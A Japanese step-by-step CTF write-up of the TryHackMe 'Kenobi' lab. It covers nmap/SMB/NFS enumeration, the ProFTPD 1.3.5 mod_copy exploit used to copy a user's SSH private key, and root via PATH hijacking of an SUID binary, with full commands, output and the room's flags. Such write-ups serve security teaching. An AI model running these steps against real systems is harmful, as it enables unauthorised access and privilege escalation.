概要
TryHackMe「Kenobi」ルームのwalkthroughです。
Task1
Q2.Scan the machine with nmap, how many ports are open?
Hint.nmap ip -vvv
nmap
でポートスキャンを実行します。
$ nmap -Pn -T4 -sC -A 10.10.98.6 -oN nmap_result
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-07 10:50 EDT
Nmap scan report for 10.10.98.6
Host is up (0.24s latency).
Not shown: 993 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
| 256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
|_ 256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/admin.html
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100003 2,3,4 2049/udp nfs
| 100003 2,3,4 2049/udp6 nfs
| 100005 1,2,3 33835/tcp6 mountd
| 100005 1,2,3 57152/udp mountd
| 100005 1,2,3 58259/tcp mountd
| 100005 1,2,3 59257/udp6 mountd
| 100021 1,3,4 32971/udp nlockmgr
| 100021 1,3,4 35243/tcp nlockmgr
| 100021 1,3,4 40873/tcp6 nlockmgr
| 100021 1,3,4 43513/udp6 nlockmgr
| 100227 2,3 2049/tcp nfs_acl
| 100227 2,3 2049/tcp6 nfs_acl
| 100227 2,3 2049/udp nfs_acl
|_ 100227 2,3 2049/udp6 nfs_acl
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp open nfs 2-4 (RPC #100003)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h40m00s, deviation: 2h53m13s, median: 0s
| smb2-time:
| date: 2024-05-07T14:51:23
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: kenobi
| NetBIOS computer name: KENOBI\x00
| Domain name: \x00
| FQDN: kenobi
|_ System time: 2024-05-07T09:51:23-05:00
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.46 seconds
21
,22
,80
,111
,139
,445
,2049
の7つのポートがオープンになっていることがわかります。
A.7
Task2
Q1.Using the nmap command above, how many shares have been found?
smb-enum-shares.nse
とsmb-enum-users.nse
の2つのNmapスクリプトを使用し、smbの共有情報とユーザーを列挙します。
$ nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.98.6
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-07 10:55 EDT
Nmap scan report for 10.10.98.6
Host is up (0.24s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.10.98.6\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (kenobi server (Samba, Ubuntu))
| Users: 1
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.98.6\anonymous:
| Type: STYPE_DISKTREE
| Comment:
| Users: 0
| Max Users: <unlimited>
| Path: C:\home\kenobi\share
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.98.6\print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users: <unlimited>
| Path: C:\var\lib\samba\printers
| Anonymous access: <none>
|_ Current user access: <none>
Nmap done: 1 IP address (1 host up) scanned in 37.53 seconds
IPC$
,anonymous
,print$
の3つの共有ディレクトリが確認できました。
今回使用したNmapスクリプトの他にも、/usr/share/nmap/scripts
配下に多くのスクリプトが用意されています。
A.3
Q2.Once you're connected, list the files on the share. What is the file can you see?
anonymous
という共有ディレクトリがあり、anonymous
アクセスによるREAD
とWRITE
が可能であると出力されました。
\\10.10.98.6\anonymous:
| Type: STYPE_DISKTREE
| Comment:
| Users: 0
| Max Users: <unlimited>
| Path: C:\home\kenobi\share
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
この共有ディレクトリにanonymous
でアクセスします。
$ smbclient //10.10.98.6/anonymous
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Wed Sep 4 06:49:09 2019
.. D 0 Wed Sep 4 06:56:07 2019
log.txt N 12237 Wed Sep 4 06:49:09 2019
9204224 blocks of size 1024. 6877092 blocks available
パスワードなしでアクセスできてしまいました。
dir
コマンドでlog.txt
ファイルが確認できました。
A.log.txt
Q3.What port is FTP running on?
log.txt
ファイルをローカルにダウンロードします。
smb: \> get log.txt
getting file \log.txt of size 12237 as log.txt (12.4 KiloBytes/sec) (average 12.4 KiloBytes/sec)
ダウンロードしてきたログファイルを確認します。
$ cat ./log.txt
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
| |
| .. |
| . o. . |
| ..=o +. |
| . So.o++o. |
| o ...+oo.Bo*o |
| o o ..o.o+.@oo |
| . . . E .O+= . |
| . . oBo. |
+----[SHA256]-----+
# This is a basic ProFTPD configuration file (rename it to
# 'proftpd.conf' for actual use. It establishes a single server
# and a single anonymous login. It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.
ServerName "ProFTPD Default Installation"
ServerType standalone
DefaultServer on
# Port 21 is the standard FTP port.
Port 21
(省略)
ログファイルからssh鍵生成時の情報とProFTPD
の設定情報を確認できました。
FTPのポートは21
です。
FTPのポート番号と使用されているサービス名、バージョンに関してはポートスキャン時でも確認できます。
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
A.21
Q4.What mount can we see?
Nmapでのポートスキャンから111
ポートでrpcbind
を使用しnfs
が動いていることが分かるので、nfs-ls
,nfs-statfs
,nfs-showmount
のスクリプトを使用しnfs
の列挙を行います。
ポートスキャン結果
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100003 2,3,4 2049/udp nfs
| 100003 2,3,4 2049/udp6 nfs
| 100005 1,2,3 33835/tcp6 mountd
| 100005 1,2,3 57152/udp mountd
| 100005 1,2,3 58259/tcp mountd
| 100005 1,2,3 59257/udp6 mountd
| 100021 1,3,4 32971/udp nlockmgr
| 100021 1,3,4 35243/tcp nlockmgr
| 100021 1,3,4 40873/tcp6 nlockmgr
| 100021 1,3,4 43513/udp6 nlockmgr
| 100227 2,3 2049/tcp nfs_acl
| 100227 2,3 2049/tcp6 nfs_acl
| 100227 2,3 2049/udp nfs_acl
|_ 100227 2,3 2049/udp6 nfs_aclc
2049/tcp open nfs 2-4 (RPC #100003)
$ nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.98.6
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-07 11:23 EDT
Nmap scan report for 10.10.98.6
Host is up (0.24s latency).
PORT STATE SERVICE
111/tcp open rpcbind
| nfs-showmount:
|_ /var *
Nmap done: 1 IP address (1 host up) scanned in 3.35 seconds
スキャン結果から/var
ディレクトリがnfs
に使用されていることがわかりました。
A./var
Task3
Q1.What is the version?
Hint.nc machines_ip 21
ポートスキャンの結果からProFTPD 1.3.5
を使用していることが分かります。
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
A.1.3.5
Q2.How many exploits are there for the ProFTPd running?
Hint.searchsploit proftpd version
searchsploit
コマンドを使用し、該当バージョンのProFTPD
の脆弱性を探します。
$ searchsploit proftpd 1.3.5
----------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------- ---------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit) | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2) | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy | linux/remote/36742.txt
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
4
つのエクスプロイトがヒットしました。
A.4
Q5.What is Kenobi's user flag (/home/kenobi/user.txt)?
使用する脆弱性は2015-3306
。
ProFTPD
のmod_copy
モジュールには未認証クライアントによるSITE CPFR
コマンドとSITE CPTO
コマンドが実行できてしまうらしい。
nfs
の共有フォルダへコピーできればのファイルの持ち出しできそう。
smbサーバーから取得したlog.txt
により、ユーザーがkenobi
であること、kenobi
ユーザーの秘密鍵が/home/kenobi/.ssh/id_rsa
にあることが確認できる。
$ cat ./log.txt
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
| |
| .. |
| . o. . |
| ..=o +. |
| . So.o++o. |
| o ...+oo.Bo*o |
| o o ..o.o+.@oo |
| . . . E .O+= . |
| . . oBo. |
+----[SHA256]-----+
ProFTPD
の脆弱性を利用してkenobi
ユーザーの秘密鍵を持ち出して、kenobi
ユーザーでssh接続できそう。
kenobi
ユーザーでのSSH接続までの簡単な流れ。
① ProFTPD
の脆弱性を利用してkenobi
ユーザーの秘密鍵をnfs
で使用されている/var
ディレクトリ配下にコピーする。
② /varディレクトリをマウントし、コピーしてきた秘密鍵を取得する。
③ 秘密鍵でkenobi
ユーザーのSSH接続。
まず/var
ディレクトリの情報を確認する。
マウント用のディレクトリを作成、そこにマウントします。
┌──(kali㉿kali)-[~]
└─$ sudo mkdir /mnt/kenobiNFS
[sudo] password for kali:
┌──(kali㉿kali)-[~]
└─$ sudo mount 10.10.98.6:/var /mnt/kenobiNFS
ディレクトリの中身を確認すると、tmp
ディレクトリが使い勝手よさそう。
$ ls -l /mnt/kenobiNFS
total 48
drwxr-xr-x 2 root root 4096 Sep 4 2019 backups
drwxr-xr-x 9 root root 4096 Sep 4 2019 cache
drwxrwxrwt 2 root root 4096 Sep 4 2019 crash
drwxr-xr-x 40 root root 4096 Sep 4 2019 lib
drwxrwsr-x 2 root staff 4096 Apr 12 2016 local
lrwxrwxrwx 1 root root 9 Sep 4 2019 lock -> /run/lock
drwxrwxr-x 10 root _ssh 4096 Sep 4 2019 log
drwxrwsr-x 2 root mail 4096 Feb 26 2019 mail
drwxr-xr-x 2 root root 4096 Feb 26 2019 opt
lrwxrwxrwx 1 root root 4 Sep 4 2019 run -> /run
drwxr-xr-x 2 root root 4096 Jan 29 2019 snap
drwxr-xr-x 5 root root 4096 Sep 4 2019 spool
drwxrwxrwt 6 root root 4096 May 7 12:07 tmp
drwxr-xr-x 3 root root 4096 Sep 4 2019 www
ということで、kenobi
ユーザーの秘密鍵は/var/tmp
配下にコピーします。
① ProFTPD
の脆弱性を利用してkenobi
の秘密鍵を/var/tmp
配下にコピーします。
$ nc 10.10.98.6 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.98.6]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
SITE CPFR <コピー元パス>
SITE CPTO <コピー先パス>
のように指定します。
② /var
をマウントして確認するとkenobi
ユーザーの秘密鍵であるid_rsa
があります。
$ ls -l /mnt/kenobiNFS/tmp
total 20
-rw-r--r-- 1 kali kali 1675 May 7 12:07 id_rsa
drwx------ 3 root root 4096 Sep 4 2019 systemd-private-2408059707bc41329243d2fc9e613f1e-systemd-timesyncd.service-a5PktM
drwx------ 3 root root 4096 May 7 10:10 systemd-private-4567be46a0f34efe88941f552ba205c9-systemd-timesyncd.service-5YGaVO
drwx------ 3 root root 4096 Sep 4 2019 systemd-private-6f4acd341c0b40569c92cee906c3edc9-systemd-timesyncd.service-z5o4Aw
drwx------ 3 root root 4096 Sep 4 2019 systemd-private-e69bbb0653ce4ee3bd9ae0d93d2a5806-systemd-timesyncd.service-zObUdn
③ 作業ディレクトリに秘密鍵をコピーし、パーミッション設定後、kenobi
ユーザーで対象マシンにSSH接続します。
┌──(kali㉿kali)-[~]
└─$ cp /mnt/kenobiNFS/tmp/id_rsa ./
┌──(kali㉿kali)-[~]
└─$ sudo chmod 600 id_rsa
┌──(kali㉿kali)-[~]
└─$ ssh -i id_rsa kenobi@10.10.98.6
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
103 packages can be updated.
65 updates are security updates.
Last login: Wed Sep 4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
kenobi@kenobi:~$
SSH接続に成功しました。
フラグファイルの/home/kenobi/user.txt
を確認してフラグゲットです。
$ cat /home/kenobi/user.txt
d0b0f3f53b6caa532a83915e19224899
A.d0b0f3f53b6caa532a83915e19224899
Task4
Q1.What file looks particularly out of the ordinary?
SUIDビットの設定された不審なプログラムがないか探します。
$ find / -user root -perm -4000 2>&1 | grep -v -e "Permission denied" -e "No such file or directory"
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
SUIDビットが設定されたファイルの検索方法についての記事を書いたので併せてご覧ください。
/usr/bin/menu
という見慣れない怪しいプログラムがありますね。
A./usr/bin/menu
Q2.Run the binary, how many options appear?
/usr/bin/menu
を実行すると、3つ
のオプション表示されました。
$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
オプション1
を選択すると、HTTPのレスポンスが得られました。
$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
HTTP/1.1 200 OK
Date: Tue, 07 May 2024 16:37:53 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Wed, 04 Sep 2019 09:07:20 GMT
ETag: "c8-591b6884b6ed2"
Accept-Ranges: bytes
Content-Length: 200
Vary: Accept-Encoding
Content-Type: text/html
オプション2
を選択すると、文字通りカーネルのバージョンが表示されました。
$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :2
4.8.0-58-generic
オプション3
を選択すると、ifconfig
コマンドの結果が表示されました。
$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3
eth0 Link encap:Ethernet HWaddr 02:0e:a2:88:5b:87
inet addr:10.10.98.6 Bcast:10.10.255.255 Mask:255.255.0.0
inet6 addr: fe80::e:a2ff:fe88:5b87/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:9001 Metric:1
RX packets:83191 errors:0 dropped:0 overruns:0 frame:0
TX packets:82934 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:5087870 (5.0 MB) TX bytes:4726203 (4.7 MB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:238 errors:0 dropped:0 overruns:0 frame:0
TX packets:238 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:16981 (16.9 KB) TX bytes:16981 (16.9 KB)
A.3
Q4.What is the root flag (/root/root.txt)?
strings
コマンドを使用し、/usr/bin/menu
のバイナリデータから文字列を出力します。
$ strings /usr/bin/menu
(省略)
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
curl -I localhost
uname -r
ifconfig
(省略)
ここら辺が怪しいですね。
オプション1
ではcurl -I localhost
コマンドを実行していることが分かりました。
このcurl
コマンドはフルパス(/usr/bin/curl
)で指定されていないため、/usr/bin/menu
から実行されるcurl
コマンドを置き換えたらフラグゲット出来そう。
権限昇格までの簡単な手順
① curl
という名のプログラムファイルを新たに作る。
② プログラムファイルの権限を設定する。
③ プログラムファイルがあるディレクトリを環境変数に追加する。(これにより、curl
だけ指定して実行すると環境変数に追加したパス内の、新たに作成したcurl
が実行される。)
/tmp
ディレクトリに移動します。
$ cd /tmp/
① 新たにcurl
プログラムを作成します。
プログラムの中身は/bin/sh
とし、シェルを提供できるようにします。
$ echo /bin/sh > curl
② 権限の設定をします。
$ chmod 777 curl
kenobi@kenobi:/tmp$ ls -l
total 8
-rwxrwxrwx 1 kenobi kenobi 8 May 7 11:55 curl
③ 新たに作成したcurl
プログラムがあるディレクトリを環境変数に追加します。
$ export PATH=/tmp:$PATH
この状態でcurl
コマンドを実行すると、シェルを提供するプログラム通りに動いた。
kenobi@kenobi:/tmp$ curl
$ whoami
kenobi
こうして、再び/usr/bin/menu
を実行すると新たに作成したcurl
プログラムが起動し、特権ユーザーのシェルが提供される。
$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
# whoami
root
最後にルートフラグファイルを確認し、フラグゲット。
# cat /root/root.txt
177b3cd8562289f37382721c28381f02
A.177b3cd8562289f37382721c28381f02
新たに作成したcurl
プログラムの中身は、ルートフラグを確認したいだけなら下記の方法でも良い。(環境変数にパスを追加済み)
kenobi@kenobi:/tmp$ echo "cat /root/root.txt" > curl
kenobi@kenobi:/tmp$ chmod 777 curl
kenobi@kenobi:/tmp$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
177b3cd8562289f37382721c28381f02
おまけ
kenobi
マシンのポートスキャン結果から80
番ポートでWebサービスが起動している事が確認できました。
実際にアクセスしてみると、某映画の画像が表示されます。
このページが怪しいと調べてみますが、特に有効な情報は見つかりません。
これはラビットホール
と呼ばれています。
「本来の目的とは逸れてしまう」「本筋から逸れる」転じて「底なし沼にハマる」「複雑な状況から抜け出せない」といった意味でも使われる。
という小ネタでした。